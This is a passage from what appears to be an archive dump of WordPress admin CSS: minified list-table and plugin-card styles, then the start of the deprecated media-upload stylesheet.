dashicons;vertical-align:middle;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.locked-info{display:none;margin-top:4px}.locked-text{vertical-align:top}.wp-locked .locked-indicator,.wp-locked .locked-info{display:block}tr.wp-locked .check-column input[type=checkbox],tr.wp-locked .check-column label,tr.wp-locked .row-actions .inline,tr.wp-locked .row-actions .trash{display:none}#menu-locations-wrap .widefat{width:60%}.widefat th.sortable,.widefat th.sorted{padding:0}th.sortable a,th.sorted a{display:block;overflow:hidden;padding:8px}th.sortable a:focus,th.sorted a:focus{border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}th.sortable a span,th.sorted a span{float:left;cursor:pointer}.tablenav-pages .current-page{vertical-align:top;margin:0 2px 0 0;font-size:13px;text-align:center;min-height:32px;padding:0 8px}.tablenav .total-pages{margin-right:2px}.tablenav #table-paging{margin-left:2px}.tablenav{clear:both;height:32px;margin:6px 0 4px;vertical-align:middle}.tablenav.themes{max-width:98%}.tablenav .tablenav-pages{float:right;margin:0 0 9px}.tablenav .no-pages,.tablenav .one-page .pagination-links{display:none}.tablenav .tablenav-pages .button,.tablenav .tablenav-pages .tablenav-pages-navspan{display:inline-block;vertical-align:baseline;min-width:32px;min-height:32px;margin:0;padding:0 4px;font-size:16px;line-height:1.875;text-align:center}.tablenav .displaying-num{margin-right:7px}.tablenav .one-page .displaying-num{display:inline-block;margin:5px 0}.tablenav .actions{padding:0 8px 0 0}.wp-filter .actions{display:inline-block;vertical-align:middle}.tablenav .delete{margin-right:20px}.tablenav .view-switch{float:right;margin:0 5px;padding-top:3px}.wp-filter .view-switch{display:inline-block;vertical-align:middle;padding:12px 0;margin:0 8px 0 2px}.media-toolbar.wp-filter .view-switch{margin:0 12px 0 2px}.view-switch a{float:left;width:28px;height:28px;text-align:center;line-height:1.84615384;text-decoration:none}.view-switch a:before{color:#c3c4c7;display:inline-block;font:normal 20px/1 dashicons;vertical-align:middle;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.view-switch a:focus:before,.view-switch a:hover:before{color:#787c82}.view-switch a.current:before{color:#2271b1}.view-switch .view-list:before{content:"\f163";content:"\f163"/''}.view-switch .view-excerpt:before{content:"\f164";content:"\f164"/''}.view-switch .view-grid:before{content:"\f509";content:"\f509"/''}.filter{float:left;margin:-5px 0 0 10px}.filter .subsubsub{margin-left:-10px;margin-top:13px}.screen-per-page{width:4em}#posts-filter .wp-filter{margin-bottom:0}#posts-filter fieldset{float:left;margin:0 1.5ex 1em 0;padding:0}#posts-filter fieldset legend{padding:0 0 .2em 1px}p.pagenav{margin:0;display:inline}.pagenav span{font-weight:600;margin:0 6px}.row-title{font-size:14px!important;font-weight:600}.column-comment .comment-author{margin-bottom:.6em}.column-author img,.column-comment .comment-author img,.column-username img{float:left;margin-right:10px;margin-top:1px}.row-actions{color:#646970;font-size:13px;padding:2px 0 0;position:relative;left:-9999em}.rtl .row-actions a{display:inline-block}.row-actions .network_active,.row-actions .network_only{color:#000}.comment-item:hover .row-actions,.mobile .row-actions,.no-js .row-actions,.row-actions.visible,tr:hover .row-actions{position:static}.row-actions-visible{padding:2px 0 0}#wpbody-content .inline-edit-row fieldset{float:left;margin:0;padding:0 12px 0 0;width:100%;box-sizing:border-box}#wpbody-content .inline-edit-row td fieldset:last-of-type{padding-right:0}tr.inline-edit-row td{padding:0;position:relative}.inline-edit-wrapper{display:flow-root;padding:0 12px;border:1px solid transparent;border-radius:4px}.inline-edit-wrapper:focus{border-color:var(--wp-admin-theme-color,#3858e9);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}#wpbody-content .quick-edit-row-post .inline-edit-col-left{width:40%}#wpbody-content .quick-edit-row-post .inline-edit-col-right{width:39%}#wpbody-content .inline-edit-row-post .inline-edit-col-center{width:20%}#wpbody-content .quick-edit-row-page .inline-edit-col-left{width:50%}#wpbody-content .bulk-edit-row-post .inline-edit-col-right,#wpbody-content .quick-edit-row-page .inline-edit-col-right{width:50%}#wpbody-content .bulk-edit-row .inline-edit-col-left{width:30%}#wpbody-content .bulk-edit-row-page .inline-edit-col-right{width:69%}#wpbody-content .bulk-edit-row .inline-edit-col-bottom{float:right;width:69%}#wpbody-content .inline-edit-row-page .inline-edit-col-right{margin-top:27px}.inline-edit-row fieldset .inline-edit-group{clear:both;line-height:2.5}.inline-edit-row .submit{display:flex;flex-wrap:wrap;align-items:center;clear:both;margin:0;padding:.5em 0 1em}.inline-edit-save.submit .button{margin-right:8px}.inline-edit-save .spinner{float:none;margin:0}.inline-edit-row .notice-error{box-sizing:border-box;min-width:100%;margin-top:1em}.inline-edit-row .notice-error .error{margin:.5em 0;padding:2px}#the-list .inline-edit-row .inline-edit-legend{margin:0;padding:.2em 0;line-height:2.5;font-weight:600}.inline-edit-row fieldset span.checkbox-title,.inline-edit-row fieldset span.title{margin:0;padding:0}.inline-edit-row fieldset label,.inline-edit-row fieldset span.inline-edit-categories-label{display:block;margin:.2em 0;line-height:2.5}.inline-edit-row fieldset.inline-edit-date label{display:inline-block;margin:0;vertical-align:baseline;line-height:2}.inline-edit-row fieldset label.inline-edit-tags{margin-top:0}.inline-edit-row fieldset label.inline-edit-tags span.title{margin:.2em 0;width:auto}.inline-edit-row fieldset label span.title,.inline-edit-row fieldset.inline-edit-date legend{display:block;float:left;width:6em;line-height:2.5}#posts-filter fieldset.inline-edit-date legend{padding:0}.inline-edit-row fieldset .timestamp-wrap,.inline-edit-row fieldset label span.input-text-wrap{display:block;margin-left:6em}.quick-edit-row-post fieldset.inline-edit-col-right label span.title{width:auto;padding-right:.5em}.inline-edit-row .inline-edit-or{margin:.2em 6px .2em 0;line-height:2.5}.inline-edit-row .input-text-wrap input[type=text]{width:100%}.inline-edit-row fieldset label input[type=checkbox]{vertical-align:middle}.inline-edit-row fieldset label textarea{width:100%;height:4em;vertical-align:top}.inline-edit-row input:where(:not([type=checkbox],[type=radio],[type=submit],[type=button])),.inline-edit-row select{min-height:32px;padding:0 8px 0 8px}.inline-edit-row select{line-height:2.14285714;padding-right:24px}#wpbody-content .bulk-edit-row fieldset .inline-edit-group label{max-width:50%}#wpbody-content .quick-edit-row fieldset .inline-edit-group label.alignleft:first-child{margin-right:.5em}.inline-edit-col-right .input-text-wrap input.inline-edit-menu-order-input{width:6em}.inline-edit-row .inline-edit-legend{text-transform:uppercase}.inline-edit-row fieldset .inline-edit-date{float:left}.inline-edit-row fieldset input[name=aa],.inline-edit-row fieldset input[name=hh],.inline-edit-row fieldset input[name=jj],.inline-edit-row fieldset input[name=mn]{vertical-align:middle;text-align:center;padding:0 4px}.inline-edit-row fieldset label input.inline-edit-password-input{width:8em}#bulk-titles-list,#bulk-titles-list li,.inline-edit-row fieldset ul.cat-checklist input,.inline-edit-row fieldset ul.cat-checklist li{margin:0;position:relative}.inline-edit-row fieldset ul.cat-checklist input{margin-top:-1px;margin-left:3px}.inline-edit-row fieldset label input.inline-edit-menu-order-input{width:3em}.inline-edit-row fieldset label input.inline-edit-slug-input{width:75%}.inline-edit-row select[name=page_template],.inline-edit-row select[name=post_parent]{max-width:80%}.quick-edit-row-post fieldset label.inline-edit-status{float:left}#bulk-titles,ul.cat-checklist{height:14em;border:1px solid #ddd;margin:0 0 5px;padding:.2em 5px;overflow-y:scroll}ul.cat-checklist input[name="post_category[]"]:indeterminate::before{content:'';border-top:2px solid grey;width:65%;height:2px;position:absolute;top:calc(50% + 1px);left:50%;transform:translate(-50%,-50%)}#bulk-titles .ntdelbutton,#bulk-titles .ntdeltitle,.inline-edit-row fieldset ul.cat-checklist label{display:inline-block;margin:0;padding:3px 0;line-height:20px;vertical-align:top}#bulk-titles .ntdelitem{padding-left:23px}#bulk-titles .ntdelbutton{width:26px;height:26px;margin:0 0 0 -26px;text-align:center;border-radius:3px}#bulk-titles .ntdelbutton:before{display:inline-block;vertical-align:top}#bulk-titles .ntdelbutton:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent;outline-offset:0}.plugins tbody,.plugins tbody th.check-column{padding:8px 0 0 2px}.plugins tbody th.check-column input[type=checkbox]{margin-top:4px}.updates-table .plugin-title p{margin-top:0}.plugins .inactive th.check-column,.plugins tfoot td.check-column,.plugins thead td.check-column{padding-left:6px}.plugins,.plugins td,.plugins th{color:#000}.plugins tr{background:#fff}.plugins p{margin:0 4px;padding:0}.plugins .desc p{margin:0 0 8px}.plugins td.desc{line-height:1.5}.plugins .desc ol,.plugins .desc ul{margin:0 0 0 2em}.plugins .desc ul{list-style-type:disc}.plugins .row-actions{font-size:13px;padding:0}.plugins .active td,.plugins .active th,.plugins .inactive td,.plugins .inactive th{padding:10px 9px}.plugins .active td,.plugins .active th{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)}.plugins .update td,.plugins .update th{border-bottom:0}.plugin-install #the-list td,.plugins .active td,.plugins .active th,.plugins .inactive td,.plugins .inactive th,.upgrade .plugins td,.upgrade .plugins th{box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.plugins tr.active+tr.inactive td,.plugins tr.active+tr.inactive th,.plugins tr.active.plugin-update-tr+tr.inactive td,.plugins tr.active.plugin-update-tr+tr.inactive th{border-top:1px solid rgba(0,0,0,.03);box-shadow:inset 0 1px 0 rgba(0,0,0,.02),inset 0 -1px 0 #dcdcde}.plugins .update td,.plugins .update th,.plugins .updated td,.plugins .updated th,.plugins tr.active+tr.inactive.update td,.plugins tr.active+tr.inactive.update th,.plugins tr.active+tr.inactive.updated td,.plugins tr.active+tr.inactive.updated th,.upgrade .plugins tr:last-of-type td,.upgrade .plugins tr:last-of-type th{box-shadow:none}.plugin-update-tr.active td,.plugins .active th.check-column{border-left:4px solid var(--wp-admin-theme-color)}.wp-list-table.plugins .plugin-title,.wp-list-table.plugins .theme-title{padding-right:12px;white-space:nowrap}.plugins .plugin-title .dashicons,.plugins .plugin-title img.plugin-icon,.plugins .plugin-title img.updates-table-screenshot{float:left;padding:0 10px 0 0;width:64px;height:64px}.plugins .plugin-title .dashicons:before{padding:2px;background-color:#f0f0f1;box-shadow:inset 0 0 10px rgba(167,170,173,.15);font-size:60px;color:#c3c4c7}#update-themes-table .plugin-title .dashicons,#update-themes-table .plugin-title img.updates-table-screenshot{width:85px}.plugins .column-auto-updates{width:14.2em}.plugins .inactive .plugin-title strong{font-weight:400}.plugins .row-actions,.plugins .second{padding:0 0 5px}.plugins .row-actions{white-space:normal;min-width:12em}.plugins .update .row-actions,.plugins .update .second,.plugins .updated .row-actions,.plugins .updated .second{padding-bottom:0}.plugins-php .widefat tfoot td,.plugins-php .widefat tfoot th{border-top-style:solid;border-top-width:1px}.plugins .plugin-update-tr .plugin-update{box-shadow:inset 0 -1px 0 rgba(0,0,0,.1);overflow:hidden;padding:0}.plugins .plugin-update-tr .notice,.plugins .plugin-update-tr div[class=update-message]{margin:5px 20px 15px 40px}.plugins .notice p{margin:.5em 0}.plugins .plugin-description a,.plugins .plugin-update a,.updates-table .plugin-title a{text-decoration:underline}.plugins tr.paused th.check-column{border-left:4px solid #b32d2e}.plugins tr.paused td,.plugins tr.paused th{background-color:#f6f7f7}.plugins .paused .dashicons-warning,.plugins tr.paused .plugin-title{color:#b32d2e}.plugins .paused .error-display code,.plugins .paused .error-display p{font-size:90%;color:rgba(0,0,0,.7)}.plugins .resume-link{color:#b32d2e}.plugin-card .update-now:before{color:#d63638;content:"\f463";content:"\f463"/'';display:inline-block;font:normal 16px/1.875 dashicons;margin:0 5px 0 -2px;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;vertical-align:top}.plugin-card .updating-message:before{content:"\f463";content:"\f463"/'';animation:rotation 2s infinite linear}@keyframes rotation{0%{transform:rotate(0)}100%{transform:rotate(359deg)}}.plugin-card .updated-message:before{color:#68de7c;content:"\f147";content:"\f147"/''}.plugin-card .updated-message:before,.plugin-card .updating-message:before{line-height:1;position:relative;top:-2px;vertical-align:middle}.plugin-install-php #the-list{display:flex;flex-wrap:wrap}.plugin-install-php .plugin-card{display:flex;flex-direction:column;justify-content:space-between}.plugin-install-php h2{clear:both}.plugin-install-php h3{margin:2.5em 0 8px}.plugin-install-php .wp-filter{margin-bottom:0}.plugin-group{overflow:hidden;margin-top:1.5em}.plugin-group h3{margin-top:0}.plugin-card{float:left;margin:0 8px 16px;width:48.5%;width:calc(50% - 8px);background-color:#fff;border:1px solid rgb(0,0,0,.1);border-radius:8px;box-sizing:border-box;overflow:hidden}.plugin-card:nth-child(odd){clear:both;margin-left:0}.plugin-card:nth-child(2n){margin-right:0}@media screen and (min-width:1600px) and (max-width:2299px){.plugin-card{width:30%;width:calc(33.1% - 8px)}.plugin-card:nth-child(odd){clear:none;margin-left:8px}.plugin-card:nth-child(2n){margin-right:8px}.plugin-card:nth-child(3n+1){clear:both;margin-left:0}.plugin-card:nth-child(3n){margin-right:0}}@media screen and (min-width:2300px){.plugin-card{width:25%;width:calc(25% - 12px)}.plugin-card:nth-child(odd){clear:none;margin-left:8px}.plugin-card:nth-child(2n){margin-right:8px}.plugin-card:nth-child(4n+1){clear:both;margin-left:0}.plugin-card:nth-child(4n){margin-right:0}}.plugin-card-top{position:relative;padding:16px;min-height:135px}.plugin-action-buttons,div.action-links{margin:0}.plugin-card h3{margin:0 12px 16px 0;font-size:18px;line-height:1.3}.plugin-card .desc{margin-inline:0}.plugin-card .desc>p,.plugin-card .name{margin-left:148px}@media (min-width:1101px){.plugin-card .desc>p,.plugin-card .name{margin-right:128px}}@media (min-width:481px) and (max-width:781px){.plugin-card .desc>p,.plugin-card .name{margin-right:128px}}.plugin-card .column-description{display:flex;flex-direction:column;justify-content:flex-start}.plugin-card .column-description>p{margin-top:0}.plugin-card .column-description p:empty{display:none}.plugin-card .notice.plugin-dependencies{margin:auto 20px 20px;padding:15px}.plugin-card .plugin-dependencies-explainer-text{margin-block:0}.plugin-card .plugin-dependency{align-items:center;display:flex;flex-wrap:wrap;margin-top:.5em;column-gap:1%;row-gap:.5em}.plugin-card .plugin-dependency:last-child,.plugin-card .plugin-dependency:nth-child(2){margin-top:1em}.plugin-card .plugin-dependency-name{flex-basis:74%}.plugin-card .plugin-dependency .more-details-link{margin-left:auto}.rtl .plugin-card .plugin-dependency .more-details-link{margin-right:auto}@media (max-width:939px){.plugin-card .plugin-dependency-name{flex-basis:69%}}.plugins #the-list .required-by,.plugins #the-list .requires{margin-top:1em}.plugin-card .action-links{position:absolute;top:20px;right:20px;width:120px}.plugin-action-buttons{clear:right;float:right;margin-bottom:1em;text-align:right}.plugin-action-buttons li{margin-bottom:10px}.plugin-card-bottom{clear:both;padding:16px;background-color:#f6f7f7;border-top:1px solid rgb(0,0,0,.1);overflow:hidden}.plugin-card-bottom .star-rating{display:inline}.plugin-card-update-failed .update-now{font-weight:600}.plugin-card-update-failed .notice-error{margin:0;padding-left:16px;box-shadow:0 -1px 0 #dcdcde}.plugin-card-update-failed .plugin-card-bottom{display:none}.plugin-card .column-rating{line-height:1.76923076}.plugin-card .column-rating,.plugin-card .column-updated{margin-bottom:4px}.plugin-card .column-downloaded,.plugin-card .column-rating{float:left;clear:left;max-width:180px}.plugin-card .column-compatibility,.plugin-card .column-updated{text-align:right;float:right;clear:right;width:65%;width:calc(100% - 180px)}.plugin-card .column-compatibility span:before{font:normal 20px/.5 dashicons;display:inline-block;padding:0;top:4px;left:-2px;position:relative;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;color:#3c434a}.plugin-card .column-compatibility .compatibility-incompatible:before{content:"\f158";content:"\f158"/'';color:#d63638}.plugin-card .column-compatibility .compatibility-compatible:before{content:"\f147";content:"\f147"/'';color:#007017}.plugin-card .notice{margin:20px 20px 0}.plugin-card .plugin-icon{position:absolute;top:20px;left:20px;width:128px;height:128px;margin:0 20px 20px 0}.no-plugin-results{color:#646970;font-size:18px;font-style:normal;margin:0;padding:100px 0 0;width:100%;text-align:center}.wp-list-table .site-archived,.wp-list-table .site-deleted,.wp-list-table tr.site-archived,.wp-list-table tr.site-deleted{background:#fcf0f1}.wp-list-table .site-mature,.wp-list-table .site-spammed,.wp-list-table tr.site-mature,.wp-list-table tr.site-spammed{background:#fcf9e8}.sites.fixed .column-lastupdated,.sites.fixed .column-registered{width:20%}.sites.fixed .column-users{width:80px}@media screen and (max-width:1100px) and (min-width:782px),(max-width:480px){.plugin-card .action-links{position:static;margin-left:148px;width:auto}.plugin-action-buttons{float:none;margin:1em 0 0;text-align:left}.plugin-action-buttons li{display:inline-block;vertical-align:middle}.plugin-action-buttons li .button{margin-right:20px}.plugin-card h3{margin-right:24px}.plugin-card .desc,.plugin-card .name{margin-right:0}.plugin-card .desc p:first-of-type{margin-top:0}}@media screen and (max-width:782px){.tablenav{height:auto}.tablenav.top{margin:20px 0 5px}.tablenav.bottom{position:relative;margin-top:15px}.tablenav br{display:none}.tablenav br.clear{display:block}.tablenav .view-switch,.tablenav.top .actions{display:none}.view-switch a{width:36px;height:36px;line-height:2.53846153}.tablenav.top .displaying-num{display:none}.tablenav.bottom .displaying-num{position:absolute;right:0;top:11px;margin:0;font-size:14px}.tablenav .tablenav-pages{width:100%;text-align:center;margin:0 0 25px}.tablenav.bottom .tablenav-pages{margin-top:25px}.tablenav.top .tablenav-pages.one-page{display:none}.tablenav.bottom .actions select{margin-bottom:5px}.tablenav.bottom .actions.alignleft+.actions.alignleft{clear:left;margin-top:10px}.tablenav.bottom .tablenav-pages.one-page{margin-top:15px;height:0}.tablenav-pages .pagination-links{font-size:16px}.tablenav .tablenav-pages .button,.tablenav .tablenav-pages .tablenav-pages-navspan{min-width:40px;min-height:40px;padding:10px 8px;font-size:18px;line-height:1}.tablenav-pages .pagination-links .current-page{min-width:40px;padding:10px 6px;font-size:16px;line-height:1.125}.form-wrap>p{display:none}.wp-list-table th.column-primary~th,.wp-list-table tr:not(.inline-edit-row):not(.no-items) td.column-primary~td:not(.check-column){display:none}.wp-list-table thead th.column-primary{width:100%}.wp-list-table tr th.check-column{display:table-cell}.wp-list-table .check-column{width:2.5em}.wp-list-table .column-primary .toggle-row{display:block}.wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.check-column){position:relative;clear:both;width:auto!important}.wp-list-table td.column-primary{padding-right:50px}.wp-list-table tr:not(.inline-edit-row):not(.no-items) td.column-primary~td:not(.check-column){padding:3px 8px 3px 35%}.wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before{position:absolute;left:10px;display:block;overflow:hidden;width:32%;content:attr(data-colname);white-space:nowrap;text-overflow:ellipsis}.wp-list-table .is-expanded td:not(.hidden){display:block!important;overflow:hidden}.column-posts,.widefat .num{text-align:left}#comments-form .fixed .column-author,#commentsdiv .fixed .column-author{display:none!important}.fixed .column-comment .comment-author{display:block}.fixed .column-author.hidden~.column-comment .comment-author{display:none}#the-comment-list .is-expanded td{box-shadow:none}#the-comment-list .is-expanded td:last-child{box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.post-com-count .screen-reader-text{position:static;clip-path:none;width:auto;height:auto;margin:0}.column-comments .post-com-count-approved:after,.column-comments .post-com-count-no-comments:after,.column-response .post-com-count-approved:after,.column-response .post-com-count-no-comments:after{content:none}.column-comments .post-com-count [aria-hidden=true],.column-response .post-com-count [aria-hidden=true]{display:none}.column-comments .post-com-count-wrapper,.column-response .post-com-count-wrapper{white-space:normal}.column-comments .post-com-count-wrapper>a,.column-response .post-com-count-wrapper>a{display:block}.column-comments .post-com-count-approved,.column-comments .post-com-count-no-comments,.column-response .post-com-count-approved,.column-response .post-com-count-no-comments{margin-top:0;margin-right:.5em}.column-comments .post-com-count-pending,.column-response .post-com-count-pending{position:static;height:auto;min-width:0;padding:0;border:none;border-radius:0;background:0 0;color:#b32d2e;font-size:inherit;line-height:inherit;text-align:left}.column-comments .post-com-count-pending:hover,.column-response .post-com-count-pending:hover{color:#d63638}.widefat tfoot td.check-column,.widefat thead td.check-column{padding-top:10px}.row-actions{margin-right:-8px;padding-top:4px}body:not(.plugins-php) .row-actions{display:flex;flex-wrap:wrap;gap:8px;color:transparent}.row-actions span{font-size:0}.row-actions span .button-link,.row-actions span a{display:inline-block;padding:4px 16px 4px 0;font-size:13px;line-height:1.5}.row-actions span.approve:before,.row-actions span.unapprove:before{content:"| "}#wpbody-content .bulk-edit-row .inline-edit-col-bottom,#wpbody-content .bulk-edit-row .inline-edit-col-left,#wpbody-content .bulk-edit-row-page .inline-edit-col-right,#wpbody-content .bulk-edit-row-post .inline-edit-col-right,#wpbody-content .inline-edit-row-post .inline-edit-col-center,#wpbody-content .quick-edit-row-page .inline-edit-col-left,#wpbody-content .quick-edit-row-page .inline-edit-col-right,#wpbody-content .quick-edit-row-post .inline-edit-col-left,#wpbody-content .quick-edit-row-post .inline-edit-col-right{float:none;width:100%;padding:0}#the-list .inline-edit-row .inline-edit-legend,.inline-edit-row span.title{font-size:16px}.inline-edit-row p.howto{font-size:14px}#wpbody-content .inline-edit-row-page .inline-edit-col-right{margin-top:0}#wpbody-content .bulk-edit-row fieldset .inline-edit-col label,#wpbody-content .bulk-edit-row fieldset .inline-edit-group label,#wpbody-content .quick-edit-row fieldset .inline-edit-col label,#wpbody-content .quick-edit-row fieldset .inline-edit-group label{max-width:none;float:none;margin-bottom:5px}#wpbody .bulk-edit-row fieldset select{display:block;width:100%;max-width:none;box-sizing:border-box}.inline-edit-row input:where(:not([type=checkbox],[type=radio],[type=submit],[type=button])),.inline-edit-row select{min-height:40px}.inline-edit-row fieldset input[name=aa],.inline-edit-row fieldset input[name=hh],.inline-edit-row fieldset input[name=jj],.inline-edit-row fieldset input[name=mn]{font-size:16px;line-height:2;padding:3px 4px}#bulk-titles .ntdelbutton,#bulk-titles .ntdeltitle,.inline-edit-row fieldset ul.cat-checklist label{padding:6px 0;font-size:16px;line-height:28px}#bulk-titles .ntdelitem{padding-left:37px}#bulk-titles .ntdelbutton{width:40px;height:40px;margin:0 0 0 -40px;overflow:hidden}#bulk-titles .ntdelbutton:before{font-size:20px;line-height:28px}.inline-edit-row fieldset label span.title,.inline-edit-row fieldset.inline-edit-date legend{float:none}.inline-edit-row fieldset .inline-edit-col label.inline-edit-tags{padding:0}.inline-edit-row fieldset .timestamp-wrap,.inline-edit-row fieldset label span.input-text-wrap{margin-left:0}.inline-edit-row .inline-edit-or{margin:0 6px 0 0}#commentsdiv #edithead .inside,#edithead .inside{float:none;text-align:left;padding:3px 5px}#commentsdiv #edithead .inside input,#edithead .inside input{width:100%}#edithead label{display:block}#wpbody-content .updates-table .plugin-title{width:auto;white-space:normal}.link-manager-php #posts-filter{margin-top:25px}.link-manager-php .tablenav.bottom{overflow:hidden}.comments-box .toggle-row,.wp-list-table.plugins .toggle-row{display:none}#wpbody-content .wp-list-table.plugins td{display:block;width:auto;padding:10px 9px}#wpbody-content .wp-list-table.plugins .no-items td,#wpbody-content .wp-list-table.plugins .plugin-deleted-tr td{display:table-cell}#wpbody-content .wp-list-table.plugins .desc.hidden{display:none}#wpbody-content .wp-list-table.plugins .column-description{padding-top:2px}#wpbody-content .wp-list-table.plugins .plugin-title,#wpbody-content .wp-list-table.plugins .theme-title{padding-right:12px;white-space:normal}.wp-list-table.plugins .plugin-title,.wp-list-table.plugins .theme-title{padding-top:13px;padding-bottom:4px}.plugins #the-list .update td,.plugins #the-list .update th,.plugins #the-list tr>td:not(:last-child),.wp-list-table.plugins #the-list .theme-title{box-shadow:none;border-top:none}.plugins #the-list tr td{border-top:none}.plugins tbody{padding:1px 0 0}.plugins .plugin-update-tr:before,.plugins tr.active+tr.inactive td.column-description,.plugins tr.active+tr.inactive th.check-column{box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.plugins tr.active+tr.inactive td,.plugins tr.active+tr.inactive th.check-column{border-top:none}.plugins .plugin-update-tr:before{content:"";display:table-cell}.plugins #the-list .plugin-update-tr .plugin-update{border-left:none}.plugin-update-tr .update-message{margin-left:0}.plugins .active.update+.plugin-update-tr:before,.plugins .active.updated+.plugin-update-tr:before{background-color:rgba(var(--wp-admin-theme-color--rgb),.08);border-left:4px solid var(--wp-admin-theme-color)}.plugins .plugin-update-tr .update-message{margin-left:0}.wp-list-table.plugins .plugin-title strong,.wp-list-table.plugins .theme-title strong{font-size:1.4em;line-height:1.5}.plugins tbody th.check-column{padding:8px 0 0 5px}.plugins .inactive th.check-column,.plugins tfoot td.check-column,.plugins thead td.check-column{padding-left:9px}table.plugin-install .column-description,table.plugin-install .column-name,table.plugin-install .column-rating,table.plugin-install .column-version{display:block;width:auto}table.plugin-install th.column-description,table.plugin-install th.column-name,table.plugin-install th.column-rating,table.plugin-install th.column-version{display:none}table.plugin-install td.column-name strong{font-size:1.4em;line-height:1.6em}table.plugin-install #the-list td{box-shadow:none}table.plugin-install #the-list tr{display:block;box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.plugin-card{margin-left:0;margin-right:0;width:100%}table.media .column-title .has-media-icon~.row-actions{margin-left:0;clear:both}}@media screen and (max-width:480px){.tablenav-pages .current-page{margin:0}.tablenav.bottom .displaying-num{position:relative;top:0;display:block;text-align:right;padding-bottom:.5em}.tablenav.bottom .tablenav-pages.one-page{height:auto}.tablenav-pages .tablenav-paging-text{float:left;width:100%;padding-top:.5em}} css/deprecated-media.css 0000644 00000014727 15233246127 0011243 0 ustar 00 /* Styles for the media library iframe (not used on the Library screen) */ div#media-upload-header { margin: 0; padding: 5px 5px 0; font-weight: 600; position: relative; border-bottom: 1px solid #dcdcde; background: #f6f7f7; } #sidemenu { overflow: hidden; float: none; position: relative; left: 0; bottom: -1px; margin: 0 5px; padding-left: 10px; list-style: none; font-size: 12px; font-weight: 400; } #sidemenu a { padding: 0 7px; display: block; float: left; line-height: 28px; border-top: 1px solid #f6f7f7; border-bottom: 1px solid #dcdcde; background-color: #f6f7f7; text-decoration: none; transition: none; } #sidemenu li { display: inline; line-height: 200%; list-style: none; text-align: center; white-space: nowrap; margin: 0; padding: 0; } #sidemenu a.current { font-weight: 400; padding-left: 6px; padding-right: 6px; border: 1px solid #dcdcde; border-bottom-color: #f0f0f1; background-color: #f0f0f1; color: #000; } #media-upload:after { /* clearfix */ content: ""; display: table; clear: both; } #media-upload .slidetoggle { border-top-color: #dcdcde; } #media-upload input[type="radio"] { padding: 0; } .media-upload-form label.form-help, td.help { color: #646970; } form { margin: 1em; } #search-filter { text-align: right; } th { position: relative; } .media-upload-form label.form-help, td.help { font-family: sans-serif; font-style: italic; font-weight: 400; } .media-upload-form p.help { margin: 0; padding: 0; } .media-upload-form fieldset { width: 100%; border: none; text-align: justify; margin: 0 0 1em; padding: 0; } /* specific to the image upload form */ .image-align-none-label { background: url(../images/align-none.png) no-repeat center left; } .image-align-left-label { background: url(../images/align-left.png) no-repeat center left; } .image-align-center-label { background: url(../images/align-center.png) no-repeat center left; } .image-align-right-label { background: url(../images/align-right.png) no-repeat center left; } tr.image-size td { width: 460px; } tr.image-size div.image-size-item { margin: 0 0 5px; } #library-form .progress, #gallery-form .progress, .insert-gallery, .describe.startopen, .describe.startclosed { display: none; } .media-item .thumbnail { max-width: 128px; max-height: 128px; } thead.media-item-info tr { background-color: transparent; } .form-table thead.media-item-info { border: 8px solid #fff; } abbr.required, span.required { text-decoration: none; border: none; } .describe label { display: inline; } .describe td.error { padding: 2px 8px; } .describe td.A1 { width: 132px; } .describe input[type="text"], .describe textarea { width: 460px; border-width: 1px; border-style: solid; } /* Specific to Uploader */ #media-upload p.ml-submit { padding: 1em 0; } #media-upload p.help, #media-upload label.help { font-family: sans-serif; font-style: italic; font-weight: 400; } #media-upload .ui-sortable .media-item { cursor: move; } #media-upload tr.image-size { margin-bottom: 1em; height: 3em; } #media-upload #filter { width: 623px; } #media-upload #filter .subsubsub { margin: 8px 0; } #media-upload .tablenav-pages a, #media-upload .tablenav-pages .current { display: inline-block; padding: 4px 5px 6px; font-size: 16px; line-height: 1; text-align: center; text-decoration: none; } #media-upload .tablenav-pages a { min-width: 17px; border: 1px solid #c3c4c7; background: #f6f7f7; } #filter .tablenav select { border-style: solid; border-width: 1px; padding: 2px; vertical-align: top; width: auto; } #media-upload .del-attachment { display: none; margin: 5px 0; } .menu_order { float: right; font-size: 11px; margin: 8px 10px 0; } .menu_order_input { border: 1px solid #dcdcde; font-size: 10px; padding: 1px; width: 23px; } .ui-sortable-helper { background-color: #fff; border: 1px solid #a7aaad; opacity: 0.6; filter: alpha(opacity=60); } #media-upload th.order-head { width: 20%; text-align: center; } #media-upload th.actions-head { width: 25%; text-align: center; } #media-upload a.wp-post-thumbnail { margin: 0 20px; } #media-upload .widefat { border-style: solid solid none; } .sorthelper { height: 37px; width: 623px; display: block; } #gallery-settings th.label { width: 160px; } #gallery-settings #basic th.label { padding: 5px 5px 5px 0; } #gallery-settings .title { clear: both; padding: 0 0 3px; font-size: 1.6em; border-bottom: 1px solid #dcdcde; } h3.media-title { font-size: 1.6em; } h4.media-sub-title { border-bottom: 1px solid #dcdcde; font-size: 1.3em; margin: 12px; padding: 0 0 3px; } #gallery-settings .title, h3.media-title, h4.media-sub-title { font-family: Georgia,"Times New Roman",Times,serif; font-weight: 400; color: #50575e; } #gallery-settings .describe td { vertical-align: middle; height: 3em; } #gallery-settings .describe th.label { padding-top: .5em; text-align: left; } #gallery-settings .describe { padding: 5px; width: 100%; clear: both; cursor: default; background: #fff; } #gallery-settings .describe select { width: 15em; } #gallery-settings .describe select option, #gallery-settings .describe td { padding: 0; } #gallery-settings label, #gallery-settings legend { font-size: 13px; color: 